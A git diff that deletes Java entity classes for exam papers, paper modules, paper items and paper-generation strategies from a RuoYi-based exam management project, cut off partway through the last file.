a/luqj-exam/src/main/java/com/luqj/exam/domain/ChooiseSearch.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ChooiseSearch.java deleted file mode 100644 index c626aa6..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ChooiseSearch.java +++ /dev/null @@ -1,11 +0,0 @@ -package com.luqj.exam.domain; - -import lombok.Data; - -import java.io.Serializable; -@Data -public class ChooiseSearch implements Serializable { - private String keyWord; - private Long type; - private Long moduleId; -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaper.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaper.java deleted file mode 100644 index 235d465..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaper.java +++ /dev/null @@ -1,385 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.List; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 试卷对象 exam_paper - * - * @author ruoyi - * @date 2021-08-09 - */ -public class ExamPaper extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - - /** 试卷名称 */ - @Excel(name = "试卷名称") - private String name; - - /** 试卷编号 */ - @Excel(name = "试卷编号") - private String no; - - /** 图片地址 */ - @Excel(name = "图片地址") - private String imgUrl; - - /** 省份id */ - @Excel(name = "省份id") - private Long provinceId; - private String provinceName; - /** 城市id */ - @Excel(name = "城市id") - private Long cityId; - - private String cityName; - /** 学校id */ - @Excel(name = "学校id") - private Long schoolId; - - private String schoolName; - /** 考试课程id */ - @Excel(name = "考试课程id") - private Long courseId; - - /** 出卷老师id */ - @Excel(name = "出卷老师id") - private Long teacherId; - - /** 审核老师id */ - @Excel(name = "审核老师id") - private Long auditorId; - - /** 学年 */ - @Excel(name = "学年") - private Integer year; - - /** 学期 */ - @Excel(name = "学期") - private Integer semester; - - /** 统考类型(0无,1全国统考,2省统考) */ - @Excel(name = "统考类型(0无,1全国统考,2省统考)") - private Integer unionType; - - /** 试卷类型(详见ExamType) */ - @Excel(name = "试卷类型(详见ExamType)") - private Long type; - - /** 难度系数 */ - @Excel(name = "难度系数") - private Long difficulty; - - /** 总分 */ - @Excel(name = "总分") - private Long score; - - /** 及格分数线 */ - @Excel(name = "及格分数线") - private Long passScore; - - /** 考试时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "考试时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date examTime; - - /** 考试时长 */ - @Excel(name = "考试时长") - private Long timeLength; - - /** 是否删除 */ - @Excel(name = "是否删除") - private Integer isDelete; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - /** 类目id */ - @Excel(name = "类目id") - private Long categoryId; - private String categoryName; - /** 试卷模块信息 */ - private List examPaperModuleList; - - public String getProvinceName() { - return provinceName; - } - - public void setProvinceName(String provinceName) { - this.provinceName = provinceName; - } - - public String getCityName() { - return cityName; - } - - public void setCityName(String cityName) { - this.cityName = cityName; - } - - public String getSchoolName() { - return schoolName; - } - - public void setSchoolName(String schoolName) { - this.schoolName = schoolName; - } - - public String getCategoryName() { - return categoryName; - } - - public void setCategoryName(String categoryName) { - this.categoryName = categoryName; - } - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setNo(String no) - { - this.no = no; - } - - public String getNo() - { - return no; - } - public void setImgUrl(String imgUrl) - { - this.imgUrl = imgUrl; - } - - public String getImgUrl() - { - return imgUrl; - } - public void setProvinceId(Long provinceId) - { - this.provinceId = provinceId; - } - - public Long getProvinceId() - { - return provinceId; - } - public void setCityId(Long cityId) - { - this.cityId = cityId; - } - - public Long getCityId() - { - return cityId; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - public void setCourseId(Long courseId) - { - this.courseId = courseId; - } - - public Long getCourseId() - { - return courseId; - } - public void setTeacherId(Long teacherId) - { - this.teacherId = teacherId; - } - - public Long getTeacherId() - { - return teacherId; - } - public void setAuditorId(Long auditorId) - { - this.auditorId = auditorId; - } - - public Long getAuditorId() - { - return auditorId; - } - public void setYear(Integer year) - { - this.year = year; - } - - public Integer getYear() - { - return year; - } - public void setSemester(Integer semester) - { - this.semester = semester; - } - - public Integer getSemester() - { - return semester; - } - public void setUnionType(Integer unionType) - { - this.unionType = unionType; - } - - public Integer getUnionType() - { - return unionType; - } - public void setType(Long type) - { - this.type = type; - } - - public Long getType() - { - return type; - } - public void setDifficulty(Long difficulty) - { - this.difficulty = difficulty; - } - - public Long getDifficulty() - { - return difficulty; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setPassScore(Long passScore) - { - this.passScore = passScore; - } - - public Long getPassScore() - { - return passScore; - } - public void setExamTime(Date examTime) - { - this.examTime = examTime; - } - - public Date getExamTime() - { - return examTime; - } - public void setTimeLength(Long timeLength) - { - this.timeLength = timeLength; - } - - public Long getTimeLength() - { - return timeLength; - } - public void setIsDelete(Integer isDelete) - { - this.isDelete = isDelete; - } - - public Integer getIsDelete() - { - return isDelete; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - - public List getExamPaperModuleList() - { - return examPaperModuleList; - } - - public void setExamPaperModuleList(List examPaperModuleList) - { - this.examPaperModuleList = examPaperModuleList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("no", getNo()) - .append("imgUrl", getImgUrl()) - .append("provinceId", getProvinceId()) - .append("cityId", getCityId()) - .append("schoolId", getSchoolId()) - .append("courseId", getCourseId()) - .append("teacherId", getTeacherId()) - .append("auditorId", getAuditorId()) - .append("year", getYear()) - .append("semester", getSemester()) - .append("unionType", getUnionType()) - .append("type", getType()) - .append("difficulty", getDifficulty()) - .append("score", getScore()) - .append("passScore", getPassScore()) - .append("examTime", getExamTime()) - .append("timeLength", getTimeLength()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("isDelete", getIsDelete()) - .append("status", getStatus()) - .append("categoryId", getCategoryId()) - .append("examPaperModuleList", getExamPaperModuleList()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperItem.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperItem.java deleted file mode 100644 index 3980cd1..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperItem.java +++ /dev/null @@ -1,193 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 试卷明细对象 exam_paper_item - * - * @author ruoyi - * @date 2021-08-10 - */ -public class ExamPaperItem extends BaseEntity -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - - private transient String paperName; - /** 模块id */ - @Excel(name = "模块id") - private Long examPaperModuleId; - - private transient String examPaperModuleName; - /** 类型id(参考QuestionTypeEnum) */ - @Excel(name = "类型id(参考QuestionTypeEnum)") - private Long questionTypeId; - - /** 问题id */ - @Excel(name = "问题id") - private Long questionId; - - private transient String questionName; - /** 分数 */ - @Excel(name = "分数") - private Long score; - - /** 难度系数 */ - @Excel(name = "难度系数") - private Long difficulty; - - /** 排序号 */ - @Excel(name = "排序号") - private Long sortNum; - - /** 创建人id */ - @Excel(name = "创建人id") - private Long creatorId; - - /** 状态 */ - @Excel(name = "状态") - private Integer status; - - public String getExamPaperModuleName() { - return examPaperModuleName; - } - - public void setExamPaperModuleName(String examPaperModuleName) { - this.examPaperModuleName = examPaperModuleName; - } - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public Long getPaperId() - { - return paperId; - } - public void setExamPaperModuleId(Long examPaperModuleId) - { - this.examPaperModuleId = examPaperModuleId; - } - - public String getPaperName() { - return paperName; - } - - public void setPaperName(String paperName) { - this.paperName = paperName; - } - - public String getQuestionName() { - return questionName; - } - - public void setQuestionName(String questionName) { - this.questionName = questionName; - } - - public Long getExamPaperModuleId() - { - return examPaperModuleId; - } - public void setQuestionTypeId(Long questionTypeId) - { - this.questionTypeId = questionTypeId; - } - - public Long getQuestionTypeId() - { - return questionTypeId; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setDifficulty(Long difficulty) - { - this.difficulty = difficulty; - } - - public Long getDifficulty() - { - return difficulty; - } - public void setSortNum(Long sortNum) - { - this.sortNum = sortNum; - } - - public Long getSortNum() - { - return sortNum; - } - public void setCreatorId(Long creatorId) - { - this.creatorId = creatorId; - } - - public Long getCreatorId() - { - return creatorId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("examPaperModuleId", getExamPaperModuleId()) - .append("questionTypeId", getQuestionTypeId()) - .append("questionId", getQuestionId()) - .append("score", getScore()) - .append("difficulty", getDifficulty()) - .append("sortNum", getSortNum()) - .append("createTime", getCreateTime()) - .append("creatorId", getCreatorId()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperItemPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperItemPlus.java deleted file mode 100644 index f5c9609..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperItemPlus.java +++ /dev/null @@ -1,172 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import org.springframework.data.annotation.Id; - -import java.io.Serializable; -import java.util.Date; -/** - * 试卷明细对象 exam_paper_item - * - * @author ruoyi - * @date 2021-07-23 - */ -@TableName("exam_paper_item") -public class ExamPaperItemPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - /** 模块id */ - @Excel(name = "模块id") - private Long examPaperModuleId; - /** 类型id(参考QuestionTypeEnum) */ - @Excel(name = "类型id(参考QuestionTypeEnum)") - private Long questionTypeId; - /** 问题id */ - @Excel(name = "问题id") - private Long questionId; - /** 分数 */ - @Excel(name = "分数") - private Long score; - /** 难度系数 */ - @Excel(name = "难度系数") - private Long difficulty; - /** 排序号 */ - @Excel(name = "排序号") - private Long sortNum; - /** 创建时间 */ - private Date createTime; - /** 创建人id */ - @Excel(name = "创建人id") - private Long creatorId; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public Long getPaperId() - { - return paperId; - } - public void setExamPaperModuleId(Long examPaperModuleId) - { - this.examPaperModuleId = examPaperModuleId; - } - - public Long getExamPaperModuleId() - { - return examPaperModuleId; - } - public void setQuestionTypeId(Long questionTypeId) - { - this.questionTypeId = questionTypeId; - } - - public Long getQuestionTypeId() - { - return questionTypeId; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setDifficulty(Long difficulty) - { - this.difficulty = difficulty; - } - - public Long getDifficulty() - { - return difficulty; - } - public void setSortNum(Long sortNum) - { - this.sortNum = sortNum; - } - - public Long getSortNum() - { - return sortNum; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setCreatorId(Long creatorId) - { - this.creatorId = creatorId; - } - - public Long getCreatorId() - { - return creatorId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("examPaperModuleId", getExamPaperModuleId()) - .append("questionTypeId", getQuestionTypeId()) - .append("questionId", getQuestionId()) - .append("score", getScore()) - .append("difficulty", getDifficulty()) - .append("sortNum", getSortNum()) - .append("createTime", getCreateTime()) - .append("creatorId", getCreatorId()) - .append("status", getStatus()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperModule.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperModule.java deleted file mode 100644 index 6b70e85..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperModule.java +++ /dev/null @@ -1,160 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.List; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 试卷模块对象 exam_paper_module - * - * @author ruoyi - * @date 2021-08-10 - */ -public class ExamPaperModule extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** id */ - private Long id; - - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - - private transient String paperName; - /** 模块名称 */ - @Excel(name = "模块名称") - private String moduleName; - - /** 题型id */ - @Excel(name = "题型id") - private Long questionTypeId; - - /** 建议答题时长 */ - @Excel(name = "建议答题时长") - private Integer timeLength; - - /** 模块图片 */ - @Excel(name = "模块图片") - private String imgUrl; - - /** 本模块分值 */ - @Excel(name = "本模块分值") - private Long score; - - /** 排序号 */ - @Excel(name = "排序号") - private Long sortNum; - - /** 试卷明细信息 */ - private List examPaperItemList; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public Long getPaperId() - { - return paperId; - } - public void setModuleName(String moduleName) - { - this.moduleName = moduleName; - } - - public String getModuleName() - { - return moduleName; - } - public void setQuestionTypeId(Long questionTypeId) - { - this.questionTypeId = questionTypeId; - } - - public Long getQuestionTypeId() - { - return questionTypeId; - } - public void setTimeLength(Integer timeLength) - { - this.timeLength = timeLength; - } - - public String getPaperName() { - return paperName; - } - - public void setPaperName(String paperName) { - this.paperName = paperName; - } - - public Integer getTimeLength() - { - return timeLength; - } - public void setImgUrl(String imgUrl) - { - this.imgUrl = imgUrl; - } - - public String getImgUrl() - { - return imgUrl; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setSortNum(Long sortNum) - { - this.sortNum = sortNum; - } - - public Long getSortNum() - { - return sortNum; - } - - public List getExamPaperItemList() - { - return examPaperItemList; - } - - public void setExamPaperItemList(List examPaperItemList) - { - this.examPaperItemList = examPaperItemList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("moduleName", getModuleName()) - .append("questionTypeId", getQuestionTypeId()) - .append("timeLength", getTimeLength()) - .append("imgUrl", getImgUrl()) - .append("score", getScore()) - .append("createTime", getCreateTime()) - .append("sortNum", getSortNum()) - .append("examPaperItemList", getExamPaperItemList()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperModulePlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperModulePlus.java deleted file mode 100644 index 1aaf056..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperModulePlus.java +++ /dev/null @@ -1,160 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.List; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 试卷模块对象 exam_paper_module - * - * @author ruoyi - * @date 2021-08-10 - */ -@TableName(value = "exam_paper_module") -public class ExamPaperModulePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - /** 试卷id */ - @Excel(name = "试卷id") - private Long paperId; - /** 模块名称 */ - @Excel(name = "模块名称") - private String moduleName; - /** 题型id */ - @Excel(name = "题型id") - private Long questionTypeId; - /** 建议答题时长 */ - @Excel(name = "建议答题时长") - private Integer timeLength; - /** 模块图片 */ - @Excel(name = "模块图片") - private String imgUrl; - /** 本模块分值 */ - @Excel(name = "本模块分值") - private Long score; - /** 创建时间 */ - private Date createTime; - /** 排序号 */ - @Excel(name = "排序号") - private Long sortNum; - /** 试卷明细信息 */ - private transient List examPaperItemList; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setPaperId(Long paperId) - { - this.paperId = paperId; - } - - public Long getPaperId() - { - return paperId; - } - public void setModuleName(String moduleName) - { - this.moduleName = moduleName; - } - - public String getModuleName() - { - return moduleName; - } - public void setQuestionTypeId(Long questionTypeId) - { - this.questionTypeId = questionTypeId; - } - - public Long getQuestionTypeId() - { - return questionTypeId; - } - public void setTimeLength(Integer timeLength) - { - this.timeLength = timeLength; - } - - public Integer getTimeLength() - { - return timeLength; - } - public void setImgUrl(String imgUrl) - { - this.imgUrl = imgUrl; - } - - public String getImgUrl() - { - return imgUrl; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setSortNum(Long sortNum) - { - this.sortNum = sortNum; - } - - public Long getSortNum() - { - return sortNum; - } - - public List getExamPaperItemList() - { - return examPaperItemList; - } - - public void setExamPaperItemList(List examPaperItemList) - { - this.examPaperItemList = examPaperItemList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("paperId", getPaperId()) - .append("moduleName", getModuleName()) - .append("questionTypeId", getQuestionTypeId()) - .append("timeLength", getTimeLength()) - .append("imgUrl", getImgUrl()) - .append("score", getScore()) - .append("createTime", getCreateTime()) - .append("sortNum", getSortNum()) - .append("examPaperItemList", getExamPaperItemList()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperPlus.java deleted file mode 100644 index 2414956..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperPlus.java +++ /dev/null @@ -1,357 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.List; -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 试卷对象 exam_paper - * - * @author ruoyi - * @date 2021-08-09 - */ -@TableName(value = "exam_paper") -public class ExamPaperPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** id */ - private Long id; - /** 试卷名称 */ - @Excel(name = "试卷名称") - private String name; - /** 试卷编号 */ - @Excel(name = "试卷编号") - private String no; - /** 图片地址 */ - @Excel(name = "图片地址") - private String imgUrl; - /** 省份id */ - @Excel(name = "省份id") - private Long provinceId; - /** 城市id */ - @Excel(name = "城市id") - private Long cityId; - /** 学校id */ - @Excel(name = "学校id") - private Long schoolId; - /** 考试课程id */ - @Excel(name = "考试课程id") - private Long courseId; - /** 出卷老师id */ - @Excel(name = "出卷老师id") - private Long teacherId; - /** 审核老师id */ - @Excel(name = "审核老师id") - private Long auditorId; - /** 学年 */ - @Excel(name = "学年") - private Integer year; - /** 学期 */ - @Excel(name = "学期") - private Integer semester; - /** 统考类型(0无,1全国统考,2省统考) */ - @Excel(name = "统考类型(0无,1全国统考,2省统考)") - private Integer unionType; - /** 试卷类型(详见ExamType) */ - @Excel(name = "试卷类型(详见ExamType)") - private Long type; - /** 难度系数 */ - @Excel(name = "难度系数") - private Long difficulty; - /** 总分 */ - @Excel(name = "总分") - private Long score; - /** 及格分数线 */ - @Excel(name = "及格分数线") - private Long passScore; - /** 考试时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "考试时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date examTime; - /** 考试时长 */ - @Excel(name = "考试时长") - private Long timeLength; - /** 出卷时间 */ - private Date createTime; - /** 修改时间 */ - private Date updateTime; - /** 是否删除 */ - @Excel(name = "是否删除") - private Integer isDelete; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - /** 类目id */ - @Excel(name = "类目id") - private Long categoryId; - /** 试卷模块信息 */ - private transient List examPaperModuleList; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setNo(String no) - { - this.no = no; - } - - public String getNo() - { - return no; - } - public void setImgUrl(String imgUrl) - { - this.imgUrl = imgUrl; - } - - public String getImgUrl() - { - return imgUrl; - } - public void setProvinceId(Long provinceId) - { - this.provinceId = provinceId; - } - - public Long getProvinceId() - { - return provinceId; - } - public void setCityId(Long cityId) - { - this.cityId = cityId; - } - - public Long getCityId() - { - return cityId; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - public void setCourseId(Long courseId) - { - this.courseId = courseId; - } - - public Long getCourseId() - { - return courseId; - } - public void setTeacherId(Long teacherId) - { - this.teacherId = teacherId; - } - - public Long getTeacherId() - { - return teacherId; - } - public void setAuditorId(Long auditorId) - { - this.auditorId = auditorId; - } - - public Long getAuditorId() - { - return auditorId; - } - public void setYear(Integer year) - { - this.year = year; - } - - public Integer getYear() - { - return year; - } - public void setSemester(Integer semester) - { - this.semester = semester; - } - - public Integer getSemester() - { - return semester; - } - public void setUnionType(Integer unionType) - { - this.unionType = unionType; - } - - public Integer getUnionType() - { - return unionType; - } - public void setType(Long type) - { - this.type = type; - } - - public Long getType() - { - return type; - } - public void setDifficulty(Long difficulty) - { - this.difficulty = difficulty; - } - - public Long getDifficulty() - { - return difficulty; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setPassScore(Long passScore) - { - this.passScore = passScore; - } - - public Long getPassScore() - { - return passScore; - } - public void setExamTime(Date examTime) - { - this.examTime = examTime; - } - - public Date getExamTime() - { - return examTime; - } - public void setTimeLength(Long timeLength) - { - this.timeLength = timeLength; - } - - public Long getTimeLength() - { - return timeLength; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - public void setIsDelete(Integer isDelete) - { - this.isDelete = isDelete; - } - - public Integer getIsDelete() - { - return isDelete; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - - public List getExamPaperModuleList() - { - return examPaperModuleList; - } - - public void setExamPaperModuleList(List examPaperModuleList) - { - this.examPaperModuleList = examPaperModuleList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("no", getNo()) - .append("imgUrl", getImgUrl()) - .append("provinceId", getProvinceId()) - .append("cityId", getCityId()) - .append("schoolId", getSchoolId()) - .append("courseId", getCourseId()) - .append("teacherId", getTeacherId()) - .append("auditorId", getAuditorId()) - .append("year", getYear()) - .append("semester", getSemester()) - .append("unionType", getUnionType()) - .append("type", getType()) - .append("difficulty", getDifficulty()) - .append("score", getScore()) - .append("passScore", getPassScore()) - .append("examTime", getExamTime()) - .append("timeLength", getTimeLength()) - .append("createTime", getCreateTime()) - .append("updateTime", getUpdateTime()) - .append("isDelete", getIsDelete()) - .append("status", getStatus()) - .append("categoryId", getCategoryId()) - .append("examPaperModuleList", getExamPaperModuleList()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategy.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategy.java deleted file mode 100644 index b0007a1..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategy.java +++ /dev/null @@ -1,161 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.List; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 试卷模板策略对象 exam_paper_strategy - * - * @author ruoyi - * @date 2021-07-29 - */ -public class ExamPaperStrategy extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - - /** 策略名称 */ - @Excel(name = "策略名称") - private String name; - - /** 策略代码 */ - @Excel(name = "策略代码") - private String code; - - /** 试卷类型 */ - @Excel(name = "试卷类型") - private Integer type; - - /** 难度系数 */ - @Excel(name = "难度系数") - private Integer difficulty; - - /** 总分数 */ - @Excel(name = "总分数") - private Long score; - - /** 创建人 */ - @Excel(name = "创建人") - private String creatorId; - - /** $column.columnComment */ - @Excel(name = "创建人") - private Long categoryId; - - private String categoryName; - - /** 策略子信息 */ - private List examPaperStrategyListList; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setType(Integer type) - { - this.type = type; - } - - public Integer getType() - { - return type; - } - public void setDifficulty(Integer difficulty) - { - this.difficulty = difficulty; - } - - public String getCategoryName() { - return categoryName; - } - - public void setCategoryName(String categoryName) { - this.categoryName = categoryName; - } - - public Integer getDifficulty() - { - return difficulty; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setCreatorId(String creatorId) - { - this.creatorId = creatorId; - } - - public String getCreatorId() - { - return creatorId; - } - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - - public List getExamPaperStrategyListList() - { - return examPaperStrategyListList; - } - - public void setExamPaperStrategyListList(List examPaperStrategyListList) - { - this.examPaperStrategyListList = examPaperStrategyListList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("code", getCode()) - .append("type", getType()) - .append("difficulty", getDifficulty()) - .append("score", getScore()) - .append("createTime", getCreateTime()) - .append("creatorId", getCreatorId()) - .append("categoryId", getCategoryId()) - .append("examPaperStrategyListList", getExamPaperStrategyListList()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategyList.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategyList.java deleted file mode 100644 index 011cc8c..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategyList.java +++ /dev/null @@ -1,122 +0,0 @@ -package com.luqj.exam.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 策略子对象 exam_paper_strategy_list - * - * @author ruoyi - * @date 2021-07-29 - */ -public class ExamPaperStrategyList extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键id */ - private Long id; - - /** 主表id */ - @Excel(name = "主表id") - private Long examPaperStrategyId; - - /** 题目类型类型 */ - @Excel(name = "题目类型类型") - private Integer questionType; - - /** 默认难度系数 */ - @Excel(name = "默认难度系数") - private Integer difficulty; - - /** 每一题分数 */ - @Excel(name = "每一题分数") - private Long score; - - /** 题目数 */ - @Excel(name = "题目数") - private Long count; - - /** 创建人 */ - @Excel(name = "创建人") - private String creatorId; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setExamPaperStrategyId(Long examPaperStrategyId) - { - this.examPaperStrategyId = examPaperStrategyId; - } - - public Long getExamPaperStrategyId() - { - return examPaperStrategyId; - } - public void setQuestionType(Integer questionType) - { - this.questionType = questionType; - } - - public Integer getQuestionType() - { - return questionType; - } - public 